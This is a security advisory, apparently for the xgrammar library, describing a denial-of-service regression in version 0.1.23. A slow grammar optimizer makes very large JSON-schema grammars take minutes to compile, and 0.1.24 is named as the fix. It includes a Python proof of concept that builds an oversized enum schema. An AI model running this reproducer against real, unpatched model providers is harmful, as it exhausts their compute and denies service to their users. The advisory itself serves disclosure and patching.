NVD Description

### Summary Provided grammar, would fit in a context window of most of the models, but takes minutes to process in 0.1.23. In testing with 0.1.16 the parser worked fine so this seems to be a regression caused by Earley parser. ### Details Full reproducer provider in the POC section. The resulting grammar is around 70k tokens, and the grammar parsing itself (with the models I checked) was significantly longer than LLM processing itself, meaning this can be used to DOS model providers. ### Patch This problem is caused by the grammar optimizer introduced in v0.1.23 being too slow. It only happens for very large grammars (>100k characters), like the below one. v0.1.24 solved this problem by optimizing the speed of the grammar optimizer and disable some slow optimization for large grammars. Thanks to @Seven-Streams ### PoC ``` import string import random def enum_schema(size=10000,str_len=10): enum = {"enum": ["".join(random.choices(string.ascii_uppercase, k=str_len)) for _ in range(size)]} schema = { "definitions": { "colorEnum": enum }, "type": "object", "properties": { "color1": { "$ref": "#/definitions/colorEnum" }, "color2": { "$ref": "#/definitions/colorEnum" }, "color3": { "$ref": "#/definitions/colorEnum" }, "color4": { "$ref": "#/definitions/colorEnum" }, "color5": { "$ref": "#/definitions/colorEnum" }, "color6": { "$ref": "#/definitions/colorEnum" }, "color7": { "$ref": "#/definitions/colorEnum" }, "color8": { "$ref": "#/definitions/colorEnum" } }, "required": [ "color1", "color2" ] } return schema schema_enum = enum_schema() print(schema_enum) print(test_schema(schema_enum, {})) ``` where: ``` def test_schema(schema, instance): grammar = xgr.Grammar.from_json_schema( json.dumps(schema), strict_mode=True ) return _is_grammar_accept_string(grammar, json.dumps(instance)) ``` ### Impact DOS
